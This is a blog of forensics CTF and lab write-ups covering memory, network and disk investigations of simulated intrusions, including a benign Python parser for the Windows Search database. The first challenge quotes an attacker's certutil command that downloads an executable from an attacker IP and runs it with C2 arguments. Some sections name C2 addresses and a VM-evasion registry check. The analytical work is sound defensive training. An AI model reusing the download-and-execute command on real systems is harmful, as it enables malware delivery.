0xSky

EYCC 2026 Finals DFIR Challenges Writeup

Sun, 16 Aug 2026 00:00:00 GMT

Hey!! This write-up covers the Egyptian Youth Cybersecurity Challenge (EYCC) final round's forensics challenges. And it's worth mentioning that I cleared all DFIR challs and got first blood in them all too, and my team Cyb3r_Ph4nt0ms managed to secure first place :>

Let's get started!

First Challenge: Silent Access

Q1: What is the PID of the suspicious process observed on the victim's machine?

First thing I did was get an overview of everything running with windows.pslist:

Most of the processes were legitimate, but I noticed that explorer.exe was launched then cmd.exe and then PatchUpdater.exe, which was a weird process name and was the only non-legitimate process.

Answer: 3052

Q2: What is the full command typed by the insider to download that malicious executable?

I used the windows.cmdline plugin with the PID of cmd.exe:

And there it was, the insider's whole move laid out in one line:

cmd.exe /k "cd /d C:\Windows\Temp & certutil -urlcache -f http://192.168.6.133:8888/PatchUpdater.exe PatchUpdater.exe & .\PatchUpdater.exe --server 192.168.6.133 --port 8080"

cd into C:\Windows\Temp, grab a file from an attacker IP, then run it straight away with C2 details as arguments.

Answer: cmd.exe /k "cd /d C:\Windows\Temp & certutil -urlcache -f http://192.168.6.133:8888/PatchUpdater.exe PatchUpdater.exe & .\PatchUpdater.exe --server 192.168.6.133 --port 8080"

Q3: What legitimate Windows utility was abused to download the suspicious executable?

Looking at that command line again, the download itself wasn't done with anything exotic — it was done with certutil, a built-in Windows binary meant for managing certificates, being abused via its -urlcache flag to fetch a remote file.

Answer: certutil.exe

Q4: Mahmoud had an important archive that he protected by a special password. This password is left somewhere on his desktop. Can you get this password?

Time to see what's actually sitting on the desktop. I used filescan to hunt for the archive first:

Then I filtered for all files under Desktop:

And noticed this .txt file, then I dumped it using windows.dumpfiles.Dumpfiles and providing the file's address:

Opened it up and the password was sitting right there in plaintext:

Answer: 0mK3LALAW3LdT

Q5: What is the important data Mahmoud was trying to hide inside that archive?

Now that I had the password, I dumped the file we found earlier using the same plugin:

Then I just extracted the archive using the password we already found:

7z x 'file.0x7e1bc070.0xfa801b7c24c0.DataSectionObject.IMP-Financial Records.7z.dat' -p 0mK3LALAW3LdT

And a flag.txt file was extracted:

Answer: EYCC{Y0U_Sh0uLD_M4sTeR_C3RviNG}

Final Flag

Second Challenge: Simple Silent Access

This one's the easy version of the same box: no process hunting, no archive cracking, just "what did Mahmoud copy before he stepped away?" That's a clipboard question, so I used Volatility 2 instead this time.

I first used the imageinfo plugin to identify a profile to use:

Then I used the clipboard plugin to grab what was copied:

Final Flag

EYCC{M3me0Ry_F0r3nSicS_M3tteR}

Third Challenge: Operation GANBAR | Top Secret Fallines

We were given a .ad1 disk image and a CyberChef recipe for the used encryption algorithm. My first step was opening the file in FTK Imager, and I found an archive under Desktop\encryption:

And since it was encrypted by a certain algorithm, I had to decrypt it first before extracting its contents, so I extracted the file and imported it in the CyberChef recipe provided by the author:

and saved the output as an archive, then extracted its contents, and found the first part of the flag:

After checking the rest of the files, I found that Passwords.csv was encrypted with the same algorithm used by GANBAR, so I imported it in CyberChef to check its contents:

and found a sussy link with a password provided for it, so I headed to the link and entered the provided password and downloaded a second archive: imp_backup_stuff2.zip, which contained the second part of the flag:

Final Flag

EYCC{n1c3_y0u_h4v3_4_gr337_5k1ll_1n_Inv35t1g471On5;K3ep_G01ng!!}

And that was all!! Hope you enjoyed my writeup :>

EYCC 2026 Qualifications Ghost in the hall Challenge Writeup

Thu, 30 Jul 2026 00:00:00 GMT

Hey!! This write-up covers the Egyptian Youth Cybersecurity Challenge (EYCC) Ghost in the hall challenge that I managed to solve. This year, forensics challenges were much more challenging and required actual DFIR knowledge to understand and solve, rather than the steganography-focused challenges from last year. My team Cyb3r_Ph4nt0ms managed to secure first place in the CTF qualifications, and I was able to solve 2/3 forensics challenges during the CTF :>

Let's get started!

We were given a single pcap, 2026-02-28-traffic-analysis-exercise.pcap, so my first move was just to pop it open and sift through the traffic before viewing any question

Q1: What is the IP address of the compromised workstation?

Since the goal was to identify the compromised workstation, I first wanted to see which hosts were communicating the most throughout the capture, so after loading the pcap in Wireshark I checked the conversations list and noticed a single IP sending and receiving traffic throughout the capture

Since it was communicating consistently with multiple hosts, it was clearly the compromised workstation

Answer: 10.2.28.88

Q2: What is the Command & Control IP address and port? (format: IP:Port)

Soooo I checked the protocol hierarchy to understand the flow of the requests and I noticed that most of the traffic was mainly http

then I filtered for http and I noticed abnormal activity from the IP 45.131.214.85. It keeps sending repeated requests to a weird destination: http://45.131.214.85/fakeurl.htm at a fixed rate

I then followed the http stream and noticed it was actually running over port 443

Answer: 45.131.214.85:443

Q3: What User-Agent does the malware use for beaconing?

I checked the header of one of the repeated requests from the malicious IP, and the User-Agent was sitting right there in plain text

NetSupport Manager/1.3 immediately jumped out since NetSupport Manager is a legit remote-support tool that's been getting abused as a RAT for years now, and its beacons are pretty recognizable once you've seen one.

Answer: NetSupport Manager/1.3

Q4: What server header and OS is the C2 gateway running?

I checked the HTTP responses coming back from 45.131.214.85 for the same beaconing stream, and the Server header gave up the gateway software version and OS in one line

Answer: NetSupport Gateway/1.92 (Windows NT)

Q5: What is the beaconing interval used by the malware? (in seconds)

I lined up the timestamps of consecutive POST /fakeurl.htm requests to the C2 and the gaps were consistent:

19:55:51.530968  <- initial handshake burst (4 requests inside ~1s, setting up the session)
19:55:51.679800
19:55:52.038833
19:55:52.239184
19:56:52.414979  -> +60.18s
19:57:52.488778  -> +60.07s
19:58:52.569808  -> +60.08s
19:59:52.644829  -> +60.08s
20:00:52.829091  -> +60.18s
20:01:52.909105  -> +60.08s
20:02:52.988882  -> +60.08s
20:03:53.171691  -> +60.18s
20:04:53.248121  -> +60.08s
20:05:53.341867  -> +60.09s
20:06:53.527608  -> +60.19s

So there's a little burst of setup traffic right at the start (that's the session negotiation, not the actual beacon loop), and then once the real check-in cadence kicks in at 19:56:52, every single gap rounds to 60 seconds, give or take ~100-200ms of jitter which is just normal network/processing latency, not the malware actually varying its sleep timer.

Answer: 60

Q6: When did the first C2 beacon occur? (UTC, format: YYYY-MM-DD HH:MM:SS)

I checked the stream again and just grabbed the timestamp on the very first POST /fakeurl.htm request header

Answer: 2026-02-28 19:55:51

Q7: What is the SHA256 of the second executable?

This is where the pcap stopped cooperating :0 My first instinct was to export every HTTP object in the capture (File > Export Objects > HTTP) and check each one for a PE header and nothing came back

I also grepped the raw TCP payloads across the whole capture for the "This program cannot be run in DOS mode" string, which would catch an executable even if Wireshark didn't reassemble it as a clean HTTP object. Still nothingg

So the conclusion was: the actual executable download never happened inside this capture window. The infection had already landed before the pcap started recording and all we're seeing here is the post-infection beaconing.

I searched the malicious IP in VirusTotal

Then after checking the Community tab I found this comment claiming this IP was flagged as an IOC on ThreatFox

After checking the link I found the sha256 of the 2nd malware in the malware samples table

Answer: c9e5bb7a368280d771edcfdb33717a3130560d2bb71773ab1aaffe0eb585fd2c

Q8: What is the malware detection label based on the ESET-NOD32 AV?

With the hash in hand, I headed straight to VirusTotal then checked the detection tab, and scrolled the vendor list down to ESET-NOD32

Answer: Win32/NetSupportManager.AD Trojan

Q9: What is the timestamp for the malware's creation? (UTC, format: YYYY-MM-DD HH:MM:SS)

I headed to the Details tab and checked its history where the creation time was clearly stated

Answer: 2026-02-28 08:23:22

Q10: As part of VM evasion, what Windows registry key did the malware query to detect VMware?

I moved to the Behavior tab, where VT logs sandbox execution details (VT ran this sample through Zenbox, CAPE, Dr.Web vxCube, and a few others).

Scrolled down to Shell commands and the sample was doing a two-pronged VM check: a pile of PowerShell + WMI queries (Win32_ComputerSystem, Win32_BIOS, Win32_DiskDrive, Win32_NetworkAdapter) fishing for manufacturer/model strings like "VMware" or "VirtualBox", plus one direct registry query sitting right in the command list:

That key only exists on machines that actually have the VMware Tools guest additions installed, so querying it is a quick, cheap "am I running inside a VM" check before the malware commits to running its real payload

Answer: HKLM\SOFTWARE\VMware, Inc.\VMware Tools

Final Flag:

And that was all, hope you enjoyed this writeup!! :>

EYCC 2026 Qualifications Trust Issue Challenge Writeup

Mon, 27 Jul 2026 00:00:00 GMT

Hey!! This write-up covers the Egyptian Youth Cybersecurity Challenge (EYCC) Trust Issue Forensics challenge that I managed to solve. This year, forensics challenges were much more challenging and required actual DFIR knowledge to understand and solve, rather than the steganography-focused challenges from last year. My team Cyb3r_Ph4nt0ms managed to secure first place in the CTF qualifications, and I also got the first blood, and the only solve, on this hard forensics challenge :>

Let's get started!

We were given a C folder and two log files, so my first step was to load them in Autopsy to start my investigation

Q1: The victim interacted with the threat actor on a specific chat platform to receive a requested document. What is the name of this communication application?

After loading the challenge files I noticed that there was web activity from the huge amount of web cache and web history, so I checked the web cache artifact and found multiple requests to discord.com

Then I checked the web history artifact which confirmed that discord was used in communication

Answer: discord

Q2: What is the ID of the conversation between the attacker and the victim?

From the web history artifact we can see that only one discord chat link was visited which had the chat ID of the conversation

Answer: 1518625267487346844

Q3: The attacker mentioned the password used to unzip the folder containing that malicious pdf, what is the used password?

My first thought was searching all files for the chat ID since the password almost definitely existed in the browser artifacts, and my suspicion was confirmed after viewing the content of C/Users/mm370/AppData/Local/Google/Chrome/User Data/Default/Cache/Cache_Data/data_2/data_2__b10232da/data_2__b10232da/0 which is a cached Chrome browser data file recovered from the user's profile that contains serialized JSON data from a Discord conversation that Chrome stored locally, including message contents, timestamps, sender information, attachment metadata, and URLs

Examining the cached data revealed both the password shared in the chat and the metadata for the attached Nexora_Documents.7z archive, making it a valuable source of forensic evidence even without accessing Discord directly

Answer: 1233m7SeNshE7at3

Q4: The victim reported that upon double-clicking the supposed HR document a Command Prompt window briefly flashed on the screen before the document opened. What is the exact name of the hidden batch script that was executed via the command line arguments?

I decided to check the Downloads folder for the downloaded malicious document before checking any prefetch or evtx logs and found C/Users/mm370/Downloads/Nexora Documents/Nexora_HR.pdf.lnk and viewing its strings revealed that a batch script located under /c _hidden is the intended file waiting to be executed

Answer: ECCY.bat

Q5: What is the name of the legitimate binary (LOLBin) that the attacker utilized to deliver the malicious payload onto the compromised system?

For this question I decided to check prefetch files for a clear timeline of what was executed, so I used the PECmd tool to extract the prefetch files into a clean csv and then view it in TimeLineExplorer using this command:

./PECmd.exe -d "path\to\prefetch" --csv out --csvf prefetch.csv

and the tool outputted two files: prefetch.csv and prefetch_Timeline.csv

Once I had both csvs loaded up in TimelineExplorer, I scrolled through looking for anything weird around the time the user opened the malicious PDF, and noticed that the chain looked something like this:

02:09:51  7ZG.EXE                  -> extracting the archive from the phishing email
02:10:55  ACROBAT.EXE              -> victim opens the PDF lure
02:10:57  csc.exe / cvtres.exe     -> .NET compiling on the fly (sus)
02:14:25  cmd.exe -> powershell.exe -> csc.exe/cvtres.exe again
02:24:25  CURL.EXE                 -> !!
02:27:57  sc.exe                   -> service getting created (persistence)

That CURL.EXE entry immediately jumped out as it's sitting right after all the PowerShell/csc.exe weirdness and right before a service gets created, which indicates that this is where the payload actually got pulled down

So basically: curl.exe is the LOLBin, a legit, signed Windows binary that got repurposed to download the malicious payload onto the box instead of the attacker having to drop their own downloader which would've been way easier for AV to catch

Answer: CURL.exe

Q6: What is the full path of the delivered malicious Payload?

I checked the Files Loaded list in the prefetch of CURL.exe, and sitting right next to the normal networking DLLs (WS2_32.DLL, CRYPT32.DLL, etc) was ADMIN.EXE, a System32 Windows binary and it has no prefetch history of its own before this, so that's certainly the malicious payload curl fetched

Answer: C:\Windows\System32\ADMIN.exe

Q7: The attacker established a persistence mechanism to automatically trigger the delivered payload. What is the name of the component responsible for this execution?

For this one I went into Autopsy and searched for the string ADMIN.exe across the disk image to see where else it showed up outside of prefetch, and that path took me into the SYSTEM registry hive.

Since the live SYSTEM hive can be behind on what actually happened, I also checked SYSTEM.LOG1 (the transaction log) to catch anything that hadn't been fully committed/flushed yet, and that's where I found it, right above the ADMIN.exe reference was a key called:

Digging into that key, its ImagePath value pointed straight at: C:\Windows\System32\admin.exe

So WinCloudSyncManager is a fake Windows service the attacker registered under the SYSTEM\CurrentControlSet\Services\ hive, using a name designed to blend in with legit background sync/cloud services so it wouldn't stick out in services.msc or Task Manager, and its ImagePath is set to launch ADMIN.exe which is what gives the attacker execution on every boot/service start without needing user interaction again

This also ties back nicely to the prefetch timeline: the sc.exe execution at 02:27:57 is almost certainly the moment this service got created (sc create/sc.exe is the standard CLI for registering a Windows service), right after curl.exe grabbed the payload at 02:24:25

Answer: WinCloudSyncManager

Q8: The attacker aimed to establish persistence what is the MITRE ATT&CK ID of the used technique? Format (T**.*)

This question required a bit of research, so I searched "persistence by modifying a windows service mitre att&ck id"

Which led me to this resource that explained the mechanism and specified its MITRE ATT&CK ID

Answer: T1543.003

Q9: The attacker left a message for the victim trolling him, Get the main content of that txt file.

I noticed a file from the beginning in the Desktop folder with a sus name, St3Y_H3MbLe.txt, but it was empty

So I went to check the recently opened files to see if it had a .lnk file, and it did

Since the .txt file on disk was empty, I figured Windows Search might've indexed its content before it got wiped, so I went looking for Windows.edb (the Windows Search index database) and I opened it up in WinSearchDBAnalyzer and searched for St3Y_H3MbLe.txt by filename. It showed up in the index with a matching WorkID, but when I tried to view the actual content column, it was cut off / wouldn't render as the tool just couldn't pull the full text since Windows.edb stores large content as an out-of-line "long value" rather than inline, and the GUI tool wasn't handling that properly

So I noted down the WorkID 432 from WinSearchDBAnalyzer and went looking for another way to query the ESE database directly. That's how I landed on libesedb-python, which lets you parse .edb/ESE database files in Python and actually reach into those long-value columns properly.

I put together a script that:

opens the Windows.edb file with pyesedb
loops through every table looking for one that has a WorkID column
finds the row matching the WorkID I got from WinSearchDBAnalyzer
for each column in that row, checks if it's a "long value" (out-of-line large data) and if so pulls the actual full content instead of just the truncated stub

#!/usr/bin/env python3
import argparse
import sys

try:
    import pyesedb
except ImportError:
    sys.exit("pyesedb not found. Install with: pip install libesedb-python --break-system-packages")

COLUMN_TYPE_NAMES = {
    0: "NULL",
    1: "BOOLEAN",
    2: "INTEGER_8BIT_UNSIGNED",
    3: "INTEGER_16BIT_SIGNED",
    4: "INTEGER_32BIT_SIGNED",
    5: "CURRENCY",
    6: "FLOAT_32BIT",
    7: "DOUBLE_64BIT",
    8: "DATE_TIME",
    9: "BINARY_DATA",
    10: "TEXT",
    11: "LARGE_BINARY_DATA",
    12: "LARGE_TEXT",
    13: "SUPER_LARGE_VALUE",
    14: "INTEGER_32BIT_UNSIGNED",
    15: "INTEGER_64BIT_SIGNED",
    16: "GUID",
    17: "INTEGER_16BIT_UNSIGNED",
}

def decode_value(record, col_index, col_type):
    """Best-effort decode of a column value to something printable.

    Returns the raw bytes (not a garbled string) if no encoding produces
    genuinely printable text - this matters when a column's contents are
    encrypted/obfuscated rather than plain text, since blindly accepting
    the first successful UTF-16/UTF-8 decode() call (which rarely raises
    UnicodeDecodeError even on arbitrary bytes) hides that fact.

    Also handles ESE "long values": large column data (e.g. AutoSummary,
    file content-ish columns) is stored out-of-line, and get_value_data()
    alone only returns a small inline stub/pointer, not the real bytes.
    """
    try:
        if col_type in (2, 3, 4, 14, 15, 17):  # integer types
            return record.get_value_data_as_integer(col_index)

        # Long value (out-of-line large data) - fetch the real payload
        try:
            if record.is_long_value(col_index):
                long_val = record.get_value_data_as_long_value(col_index)
                if long_val is not None:
                    raw = long_val.get_data()
                    if raw is None:
                        return None
                    for enc in ("utf-16-le", "utf-8"):
                        try:
                            decoded = raw.decode(enc)
                            stripped = decoded.rstrip("\x00")
                            if stripped and stripped.isprintable():
                                return stripped
                        except UnicodeDecodeError:
                            continue
                    return raw
        except AttributeError:
            pass  # this pyesedb build doesn't support is_long_value; fall through

        raw = record.get_value_data(col_index)
        if raw is None:
            return None

        for enc in ("utf-16-le", "utf-8"):
            try:
                decoded = raw.decode(enc)
                stripped = decoded.rstrip("\x00")
                if stripped and stripped.isprintable():
                    return stripped
            except UnicodeDecodeError:
                continue

        return raw  # not genuinely printable text -> hand back raw bytes
    except Exception as e:
        return f"<error decoding column: {e}>"

def find_workid_records(edb_path, target_workid, target_filename=None):
    edb_file = pyesedb.file()
    edb_file.open(edb_path)

    print(f"Opened '{edb_path}' - {edb_file.get_number_of_tables()} tables found.\n")

    matches = []

    for t_idx in range(edb_file.get_number_of_tables()):
        table = edb_file.get_table(t_idx)
        table_name = table.get_name()

        # Find column names/types/indices for this table
        columns = [table.get_column(c) for c in range(table.get_number_of_columns())]
        col_names = [c.get_name() for c in columns]
        col_types = [c.get_type() for c in columns]
        col_names_lower = [c.lower() for c in col_names]

        if "workid" not in col_names_lower:
            continue  # this table doesn't track WorkID, skip it

        workid_col = col_names_lower.index("workid")

        for r_idx in range(table.get_number_of_records()):
            record = table.get_record(r_idx)
            try:
                raw_val = record.get_value_data(workid_col)
            except Exception:
                continue
            if raw_val is None:
                continue
            try:
                workid_val = record.get_value_data_as_integer(workid_col)
            except Exception:
                continue

            if workid_val == target_workid:
                row = {}
                for c_idx, c_name in enumerate(col_names):
                    row[c_name] = decode_value(record, c_idx, col_types[c_idx])
                matches.append((table_name, row))

    edb_file.close()
    return matches

def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("edb_path", help="Path to the .edb file (e.g. Windows.edb)")
    parser.add_argument("workid", type=int, help="WorkID to search for (e.g. 432)")
    parser.add_argument(
        "--target-filename",
        default=None,
        help="Optional filename to verify against, e.g. st3y_h3mble.txt",
    )
    parser.add_argument(
        "--save-content-to",
        default=None,
        help="Optional path to save extracted text content to a file",
    )
    args = parser.parse_args()

    matches = find_workid_records(args.edb_path, args.workid, args.target_filename)

    if not matches:
        print(f"No records found with WorkID={args.workid}.")
        return

    for table_name, row in matches:
        print(f"=== Match in table '{table_name}' ===")
        for col, val in row.items():
            if isinstance(val, bytes):
                display_val = f"<{len(val)} bytes> hex: {val.hex()}"
            else:
                display_val = val
            print(f"  {col}: {display_val}")
        print()

        if args.save_content_to:
            # Heuristic: grab the longest text-like value as "content"
            text_candidates = [v for v in row.values() if isinstance(v, str) and len(v) > 20]
            if text_candidates:
                content = max(text_candidates, key=len)
                with open(args.save_content_to, "w", encoding="utf-8") as f:
                    f.write(content)
                print(f"Saved likely content to {args.save_content_to}")

if __name__ == "__main__":
    main()

Then I ran the script and grepped for System_Search_AutoSummary, and I specifically went for it since that's the property Windows Search uses to generate the little preview snippet you see under a file in search results, so it's basically guaranteed to hold the file's actual text content

Then I decoded the hex output and decoded it into UTF-16LE to actually read the content

Answer: D0n't_Trust_Just_V3rify

Q10: What is the exact creation time of this txt file on the victim machine? Format (YYY-MM-DD HH:MM:SS)

The exact creation time of St3Y_H3MbLe.txt can be found in multiple ways, but I chose to parse its .lnk file by LECmd

 ./LECmd.exe -f "path\to\St3Y_H3MbLe.txt.lnk" --json out.json

Then I opened the output and noticed the target creation time:

{"SourceFile":"",
"SourceCreated":"2026-07-24T13:16:46.6277622+00:00",
"SourceModified":"2026-06-25T02:34:50.0000000+00:00",
"SourceAccessed":"2026-07-25T10:26:05.8407872+00:00",
"TargetCreated":"2026-06-25T02:31:34.5376269+00:00",
"TargetModified":"2026-06-25T02:31:34.5376269+00:00",
"TargetAccessed":"2026-06-25T02:32:12.0998081+00:00",
"FileSize":931,
"RelativePath":"..\\..\\..\\..\\..\\Desktop\\St3Y_H3MbLe.txt",
"WorkingDirectory":"C:\\Users\\mm370\\Desktop",
"FileAttributes":"FileAttributeArchive",
"HeaderFlags":"HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking",
"DriveType":"Fixed storage media (Hard drive)",
"VolumeSerialNumber":"5E716849",
"LocalPath":"C:\\Users\\mm370\\Desktop\\St3Y_H3MbLe.txt",
"TargetIDAbsolutePath":"St3Y_H3MbLe.txt",
"TargetMFTEntryNumber":"0x1CC",
"TargetMFTSequenceNumber":"0x9",
"MachineID":"desktop-57opf17",
"MachineMACAddress":"00:0c:29:11:20:33",
"MACVendor":"VMWARE",
"TrackerCreatedOn":"2026-05-26T23:05:09.7260222+00:00",
"ExtraBlocksPresent":"TrackerDataBaseBlock, PropertyStoreDataBlock"}

Answer: 2026-06-25 02:31:34

Final Flag:

And that was all, hope you enjoyed this writeup!! :>

Insider Cyberdefenders Lab Writeup

Sat, 18 Jul 2026 00:00:00 GMT

Lab Scenario: After Karen started working for TAAUSAI, she began performing illegal activities inside the company. TAAUSAI hired you as a SOC analyst to investigate the case. A disk image was acquired, and it was found that Karen used a Linux operating system on her machine. Analyze the disk image and answer the provided questions.

We are given an .ad1 disk image file, which I opened in FTK Imager to start my investigation.

Q1: Which Linux distribution is being used on this machine?

After loading the disk image, I checked the provided directories: boot, root, and var. I started with the boot directory, looking for indicators of the Linux distribution. I noticed that all of the boot files had Kali-related names, which confirmed that the operating system being used was Kali Linux.

Answer: kali

Q2: What is the MD5 hash of the Apache `access.log` file?

I navigated to the access.log file located under /var/log/apache2. FTK Imager automatically calculated the file's MD5 hash, which I used as the answer.

Answer: d41d8cd98f00b204e9800998ecf8427e

Q3: It is suspected that a credential dumping tool was downloaded. What is the name of the downloaded file?

I headed to the /Downloads directory and found a ZIP archive named mimikatz_trunk.zip. After checking its contents, I found a README.md file that clearly described Mimikatz as a credential dumping tool capable of extracting plaintext passwords, hashes, PINs, and Kerberos tickets from memory.

Answer: mimikatz_trunk.zip

Q4: A super-secret file was created. What is the absolute path to this file?

To identify files created by the user, I checked the .bash_history file for any file creation commands that might reveal the secret file's location. I found the command responsible for creating the file, which contained its absolute path.

Answer: /root/Desktop/SuperSecretFile.txt

Q5: What program used the file `didyouthinkwedmakeiteasy.jpg` during its execution?

I checked .bash_history again and searched for any commands referencing didyouthinkwedmakeiteasy.jpg. I found the command:

binwalk didyouthinkwedmakeiteasy.jpg

This confirmed that the program used to analyze the file was binwalk.

Answer: binwalk

Q6: What is the third goal from the checklist Karen created?

I checked the /Desktop directory, which contained a folder named mimikatz and a file named Checklist. After viewing the contents of the checklist, I found three listed goals. The third goal was Profit.

Answer: Profit

Q7: How many times was Apache run?

I checked the Apache access.log file again, and it appeared to be empty. Since there were no logged requests, this indicated that Apache had not been used.

Answer: 0

Q8: This machine was used to launch an attack on another. Which file contains the evidence for this?

Ooookay, after looking through the /root directory again, I noticed an image with a weird name. After opening it, I saw that it was a screenshot showing malicious commands being executed with administrative privileges, indicating that the machine had been used to perform an attack.

Answer: irZlAohL.jpeg

Q9: It is believed that Karen was taunting a fellow computer expert through a bash script within the Documents directory. Who was the expert that Karen was taunting?

I headed to the /Documents directory and checked the contents of the myfirsthack folder. I noticed that the firstscript_fixed file contained a line directly mentioning someone's name.

Answer: Young

Q10: A user executed the `su` command to gain root access multiple times at 11:26. Who was the user?

To investigate the execution of the su command and privilege escalation attempts, I checked the auth.log file under /var/log. Since the log was quite large, I focused only on the entries around the 11:26 timestamp.

The log revealed that the user postgres executed the su command multiple times during that period.

Answer: postgres

Q11: Based on the bash history, what is the current working directory?

I checked .bash_history once again and found several cd commands. The last cd command is a good indicator of the current working directory, so I used its destination as the answer.

Answer: /root/Documents/myfirsthack/

And that was all! Hope you enjoyed reading this writeup :>

Amadey-APT-C-36 Cyberdefenders Lab Writeup

Mon, 01 Jun 2026 00:00:00 GMT

Lab Scenario: An after-hours alert from the Endpoint Detection and Response (EDR) system flags suspicious activity on a Windows workstation. The flagged malware aligns with the Amadey Trojan Stealer. Your job is to analyze the presented memory dump and create a detailed report for actions taken by the malware.

Q1: In the memory dump analysis, determining the root of the malicious activity is essential for comprehending the extent of the intrusion. What is the name of the parent process that triggered this malicious behavior?

After viewing the process using the pstree plugin to understand relations between processes, I noticed a suspicious process: The lssass.exe process caught my eye as it mimics the legitimate Windows process lsass.exe (Local Security Authority Subsystem Service). It also has a child process rundll32.exe, which is commonly abused by malware to execute malicious DLLs, making lssass.exe highly suspicious.

Answer: lssass.exe

Q2: Once the rogue process is identified, its exact location on the device can reveal more about its nature and source. Where is this process housed on the workstation?

To get the location of the malicious process I used the cmdline plugin and grepped for lssass.exe 's PID: 2748. Another approach was grepping the PID from the filescan plugin output, which also revealed the malicious process's path.

Answer: C:\Users\0XSH3R~1\AppData\Local\Temp\925e7e99c5\lssass.exe

Q3: Persistent external communications suggest the malware's attempts to reach out C2C server. Can you identify the Command and Control (C2C) server IP that the process interacts with?

For this question, I used the netscan plugin to check network connections made by the system and grepped for the malicious process's PID to identify the IP address it communicated with:

Answer: 41.75.84.12

Q4: Following the malware link with the C2C, the malware is likely fetching additional tools or modules. How many distinct files is it trying to bring onto the compromised workstation?

Since the communication between the malware and the attacker happened over port 80, the traffic was unencrypted, meaning the raw HTTP requests could potentially be recovered from memory. So I used strings on the memory dump and filtered out for the attacker's IP and 2 lines before and after it to view the full request: And found two GET requests showing the malware downloading the files cred64.dll and clip64.dll.

Answer: 2

Q5: Identifying the storage points of these additional components is critical for containment and cleanup. What is the full path of the file downloaded and used by the malware in its malicious activity?

Since we already identified clip64.dll in Q4, I searched for it in the filescan output to locate its path. Another way to confirm this was by checking the command line arguments of the child process rundll32.exe, which revealed the DLL being executed: Answer: C:\Users\0xSh3rl0ck\AppData\Roaming\116711e5a2ab05\clip64.dll

Q6: Once retrieved, the malware aims to activate its additional components. Which child process is initiated by the malware to execute these files?

We actually noted the answer to this question from the very beginning. The child process of the malware was clear from pstree 's output to be rundll32.exe

Answer: rundll32.exe

Q7: Understanding the full range of Amadey's persistence mechanisms can help in an effective mitigation. Apart from the locations already spotlighted, where else might the malware be ensuring its consistent presence?

I grepped for the malicious executable's name in the filescan output and found three paths: The first path was the primary location of the file, which we had already seen before. The second path was inside the Windows Tasks directory, suggesting a persistence mechanism that would automatically execute the malware at startup or user logon. The third path was located in the Temp directory, which wasn't particularly interesting.

Answer: C:\Windows\System32\Tasks\lssass.exe

Conclusion

During the investigation, I identified lssass.exe as the initial malicious process. It communicated with the C2 server at 41.75.84.12, downloaded additional DLL payloads, executed them using rundll32.exe, and established persistence through a scheduled task.

And that's it! Thanks for reading, and don't forget to check out my other writeups :>

RedLine Cyberdefenders Lab Writeup

Sat, 30 May 2026 00:00:00 GMT

Lab scenario: As a member of the Security Blue team, your assignment is to analyze a memory dump using Redline and Volatility tools. Your goal is to trace the steps taken by the attacker on the compromised machine and determine how they managed to bypass the Network Intrusion Detection System (NIDS). Your investigation will identify the specific malware family employed in the attack and its characteristics. Additionally, your task is to identify and mitigate any traces or footprints left by the attacker.

Q1: What is the name of the suspicious process?

I first listed all processes by the pslist plugin in Volatility 3:

vol -f MemoryDump windows.pslist

And from all processes, one process caught my eye: It didn't resemble a standard Windows process or any legitimate application I recognized, and after researching the process name, my suspicions were confirmed: Answer: oneetx.exe

Q2: What is the child process name of the suspicious process?

To get the child process name I used the pstree plugin to see relations between processes:

vol -f MemoryDump windows.pstree

And from pstree 's output, it's clear that the child process of the malicious process oneetx.exe is rundll32.exe: Answer: rundll32.exe

Q3: What is the memory protection applied to the suspicious process memory region?

Protection method can be found by malfind plugin that helps find hidden or injected code/DLLs in user-mode memory, based on characteristics such as VAD tag and page permissions:

vol -f MemoryDump windows.malfind

PAGE_EXECUTE_READWRITE in the protection field means that the process has all permissions: read, write, and execute, which are needed for the malware to do its job

Answer: PAGE_EXECUTE_READWRITE

Q4: What is the name of the process responsible for the VPN connection?

To check network connections made by the device, I used the netscan plugin:

vol -f MemoryDump windows.netscan

And found nothing really interesting in the connections other than some connections made by the malicious file oneetx.exe, but after examining the output more carefully, I noticed several suspicious connections: After a bit of research, I found out that they were actually related to VPN services: So I looked up its PID in pstree's output to see which process it belonged to: And we can clearly see that it is a child process of Outline.exe.

Answer: Outline.exe

Q5: What is the attacker's IP address?

If we go back to netscan 's output we'll find the attacker's IP in the connection made by the malicious process oneetx.exe:

Answer: 77.91.124.20

Q6: What is the full URL of the PHP file that the attacker visited?

I used strings on the memory dump and filtered out for php using grep but the output was huge, so instead I filtered out the output for the attacker's IP address And the output revealed the full URL visited by the attacker!

Answer: http://77.91.124.20/store/games/index.php

Q7: What is the full path of the malicious executable?

To get the full path of oneetx.exe I just used strings again on our memory dump and grepped the executable's name: Other approaches would be dumping the process, or using the filescan plugin to get the file path

Answer: C:\Users\Tammam\AppData\Local\Temp\c3912af058\oneetx.exe

And that was all, don't forget to check my other writeups!

Hope you enjoyed <3

FahemSec CTF Challenges Write-up

Sun, 22 Feb 2026 00:00:00 GMT

In this write-up, I will cover the FahemSec CTF Challenges I managed to solve including DFIR, Crypto, and Miscellaneous challenges. During the CTF, I had great progress in the disk forensics challenges but then went to sleep >-< I'll still include them in the write-up though

Anyways, Let's dive-in!

Case 101 Part. 1: DFIR

Description: No screenshots were saved, something from the last session might still remain on the disk.

After initial investigations for the provided .csv files and the provided C dump, I noticed multiple indications of RDP attempts, and confirmed that after checking this path: C\Users\T3M0\AppData\Local\Microsoft\TerminalServerClient\Cache

And finding an RDP BMP snippets dump:

I referred back to the challenge's description, this makes sense as this dump contains tiny screenshots of the RDP screen

Then I extracted the BMPs put of the bin file:

┌──(ssumix㉿VICTUS)-[/mnt/s/DFIR/CTFs/fahem]
└─$ bmc-tools -s "Cache0000.bin" -d "output" -b
[+++] Processing a single file: 'Cache0000.bin'.
[+++] Processing a file: 'Cache0000.bin'.
[===] 1143 tiles successfully extracted in the end.
[===] Successfully exported 1143 files.
[===] Successfully exported collage file.

Then I checked the output, and found lotsss of tiny sniplets, so to put them together I used RdpCacheStitcher, and manually rearranged the flag parts to get the final flag

Case 101 Part. 2: DFIR

Description: The archive opens, the data does not. What you recovered earlier is still relevant.

Ok so during my initial investigations in the last challenge I did notice a password-protected archive and tried to brute-force its password but this didn't work. Thats because the archive's password was in the recovered BMPs from the first part:

I extracted the flag2.txt file from the archive and the flag seemed encrypted: aU5+VVBC8Ilgs16uS1MUj8JPGqL4hvJGpVb5qRtzy9pPgDSe

